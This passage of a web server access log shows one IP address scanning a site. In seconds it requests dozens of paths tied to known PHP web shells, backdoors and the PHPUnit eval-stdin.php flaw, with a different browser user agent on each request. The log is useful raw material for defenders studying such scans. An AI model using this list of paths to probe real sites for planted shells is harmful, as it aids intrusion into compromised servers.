/main.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:21:26 -0400] "GET /wp-admin/css/colors/modern/git.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:21:27 -0400] "GET /wp-includes/wp-includes/atomlib.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:21:27 -0400] "GET /wp-includes/images/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 194.33.45.65 - - [27/Apr/2025:19:21:27 -0400] "GET /vendor/phpunit/phpunit/src/Util/PHP/theme.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 194.33.45.65 - - [27/Apr/2025:19:21:27 -0400] "GET /wp-content/uploads/2023/user.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 194.33.45.65 - - [27/Apr/2025:19:21:27 -0400] "GET /.well-known/pki-validation/iR7SzrsOUEP.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 194.33.45.65 - - [27/Apr/2025:19:21:27 -0400] "GET /wp-content/upgrade/ss.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 194.33.45.65 - - [27/Apr/2025:19:21:27 -0400] "GET /wp-includes/SimplePie/moon.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 194.33.45.65 - - [27/Apr/2025:19:21:28 -0400] "GET /wp-includes/shell20211028.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:21:28 -0400] "GET /about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:21:28 -0400] "GET /pgs.phP HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:21:28 -0400] "GET /cgi-bin/iR7SzrsOUEP.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 194.33.45.65 - - [27/Apr/2025:19:21:28 -0400] "GET /wp-content/themes/tflow/goat.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 194.33.45.65 - - [27/Apr/2025:19:21:28 -0400] "GET /wordpress/wp-content/uploads/_input_3_css.phtml HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 194.33.45.65 - - [27/Apr/2025:19:21:28 -0400] "GET /.well-known/bs.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 194.33.45.65 - - [27/Apr/2025:19:21:28 -0400] "GET /wp-content/plugins/revslider/includes/external/page/index.php7 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 194.33.45.65 - - [27/Apr/2025:19:21:29 -0400] "GET /wp-includes/images/file1.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 194.33.45.65 - - [27/Apr/2025:19:21:29 -0400] "GET /wp-activate.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 194.33.45.65 - - [27/Apr/2025:19:21:29 -0400] "GET /wp-includes/ID3/rk2.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:21:29 -0400] "GET /wp-admin/js/widgets/file.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:21:29 -0400] "GET /wp-includes/css/dist/wp-l0gin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 194.33.45.65 - - [27/Apr/2025:19:21:29 -0400] "GET /fox.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:21:29 -0400] "GET /wp-admin/images/install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 194.33.45.65 - - [27/Apr/2025:19:21:29 -0400] "GET /ALFA_DATA/alfacgiapi/wp-conflg.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:21:29 -0400] "GET /.well-known/pki-validation/flower.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 194.33.45.65 - - [27/Apr/2025:19:21:30 -0400] "GET /class.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 194.33.45.65 - - [27/Apr/2025:19:21:30 -0400] "GET /wp-blog-header.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 194.33.45.65 - - [27/Apr/2025:19:21:30 -0400] "GET /wp-admin/images/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 194.33.45.65 - - [27/Apr/2025:19:21:30 -0400] "GET /.well-known/pki-validation/wrapper.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:21:30 -0400] "GET /wp-content/uploads/lmfi.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:21:30 -0400] "GET /index2.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:21:30 -0400] "GET /.well-known/pki-validation/web.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:21:30 -0400] "GET /.well-known/pki-validation/index1.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:21:30 -0400] "GET /nf_tracking.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 194.33.45.65 - - [27/Apr/2025:19:21:30 -0400] "GET /woh.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:21:31 -0400] "GET /wso112233.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:21:31 -0400] "GET /bala.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 194.33.45.65 - - [27/Apr/2025:19:21:31 -0400] "GET /tiny.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 194.33.45.65 - - [27/Apr/2025:19:21:31 -0400] "GET /wpkey.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:21:31 -0400] "GET /goat.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 194.33.45.65 - - [27/Apr/2025:19:21:31 -0400] "GET /masterjob/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 194.33.45.65 - - [27/Apr/2025:19:21:31 -0400] "GET /crop.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:21:31 -0400] "GET /webshell.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:21:31 -0400] "GET /filemanager/dialog.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:21:31 -0400] "GET /you.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 194.33.45.65 - - [27/Apr/2025:19:21:32 -0400] "GET /vendor/phpunit/Util/PHP/eval-stdin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 194.33.45.65 - - [27/Apr/2025:19:21:32 -0400] "GET /wp-content/uploads/2023/05/404.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 194.33.45.65 - - [27/Apr/2025:19:21:32 -0400] "GET /.well-known/fierzashell.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 194.33.45.65 - - [27/Apr/2025:19:21:32 -0400] "GET /wp-content/themes/wp-classic/inc/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:21:32 -0400] "GET /phpunit/Util/PHP/eval-stdin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 194.33.45.65 - - [27/Apr/2025:19:21:32 -0400] "GET /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 194.33.45.65 - - [27/Apr/2025:19:21:32 -0400] "GET /vendor/phpunit/phpunit/Util/PHP/eval-stdin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:21:32 -0400] "GET /phpunit/phpunit/Util/PHP/eval-stdin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:21:32 -0400] "GET /ioxi01.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 194.33.45.65 - - [27/Apr/2025:19:21:32 -0400] "GET /tinyfilemanager/tinyfilemanager.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:21:32 -0400] "GET /ty.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 194.33.45.65 - - [27/Apr/2025:19:21:33 -0400] "GET /admin/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:21:33 -0400] "GET /profile.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:21:33 -0400] "GET /wp-content/plugins/background-image-cropper/ups.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 194.33.45.65 - - [27/Apr/2025:19:21:33 -0400] "GET /sts.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:21:33 -0400] "GET /include.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 194.33.45.65 - - [27/Apr/2025:19:21:33 -0400] "GET /leaf.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:21:33 -0400] "GET /wp-content/db-cache.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 194.33.45.65 - - [27/Apr/2025:19:21:33 -0400] "GET /wp-content/themes/twentyfive/include.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:21:33 -0400] "GET /yrlgvupk.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:21:33 -0400] "GET /wp-content/themes/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 194.33.45.65 - - [27/Apr/2025:19:21:34 -0400] "GET /filemanager.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:21:34 -0400] "GET /wp-content/plugins/TOPXOH/wDR.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:21:34 -0400] "GET /wp-file.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 194.33.45.65 - - [27/Apr/2025:19:21:34 -0400] "GET /ova-wso.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:21:34 -0400] "GET /fm1.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:21:34 -0400] "GET /form.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:21:34 -0400] "GET /wpup.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:21:34 -0400] "GET /wp-2018.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:21:34 -0400] "GET /siti.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 194.33.45.65 - - [27/Apr/2025:19:21:34 -0400] "GET /abe.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:21:35 -0400] "GET /insoamv.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 194.33.45.65 - - [27/Apr/2025:19:21:35 -0400] "GET /wp-p.php7 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:21:35 -0400] "GET /wp-admin/includes/xmrlpc.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:21:35 -0400] "GET /css/xmrlpc.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:21:35 -0400] "GET /wp-admin/1.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:21:35 -0400] "GET /wp-content/themes/astra/inc/ki1k.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 194.33.45.65 - - [27/Apr/2025:19:21:35 -0400] "GET /wp-admin/maint/moon.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 194.33.45.65 - - [27/Apr/2025:19:21:35 -0400] "GET /wp-content/plugins/file.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:21:35 -0400] "GET /.tmb/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 194.33.45.65 - - [27/Apr/2025:19:21:35 -0400] "GET /.well-known/alfanew.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:21:36 -0400] "GET /wp-admin/css/colors/coffee/lofter.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:21:36 -0400] "GET /wp-includes/Requests/Auth/images.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:21:36 -0400] "GET /wp-content/themes/seotheme/dropdown.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 194.33.45.65 - - [27/Apr/2025:19:21:36 -0400] "GET /.tmb/file.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:21:36 -0400] "GET /wp-includes/theme-compat/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 194.33.45.65 - - [27/Apr/2025:19:21:36 -0400] "GET /wp-admin/network/xmrlpc.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:21:36 -0400] "GET /wp-admin/js/widgets/about.php7 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:21:36 -0400] "GET /wp-includes/certificates/file.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 194.33.45.65 - - [27/Apr/2025:19:21:36 -0400] "GET /bless.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:21:36 -0400] "GET /wordpress/update/bibil.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 194.33.45.65 - - [27/Apr/2025:19:21:36 -0400] "GET /avaa.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 194.33.45.65 - - [27/Apr/2025:19:21:37 -0400] "GET /wp-content/file.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 194.33.45.65 - - [27/Apr/2025:19:21:37 -0400] "GET /update/403.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:21:37 -0400] "GET /wp-content/plugins/seooyanz/wsoyanzv2.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 194.33.45.65 - - [27/Apr/2025:19:21:37 -0400] "GET /about/function.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:21:37 -0400] "GET /wp-content/themes.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 194.33.45.65 - - [27/Apr/2025:19:21:37 -0400] "GET /wp-content/plugins/pwnd-1/pwnd.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:21:37 -0400] "GET /wp-content/upgrade-temp-backup/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 194.33.45.65 - - [27/Apr/2025:19:21:38 -0400] "GET /wp-content/radio.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:21:38 -0400] "GET /wp-includes/IXR/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:21:38 -0400] "GET /wp-includes/pomo/plugins.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:21:38 -0400] "GET /wp-includes/404.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:21:38 -0400] "GET /xmrlpc.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 194.33.45.65 - - [27/Apr/2025:19:21:38 -0400] "GET /user.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 194.33.45.65 - - [27/Apr/2025:19:21:38 -0400] "GET /wp-content/languages/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 194.33.45.65 - - [27/Apr/2025:19:21:39 -0400] "GET /config.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 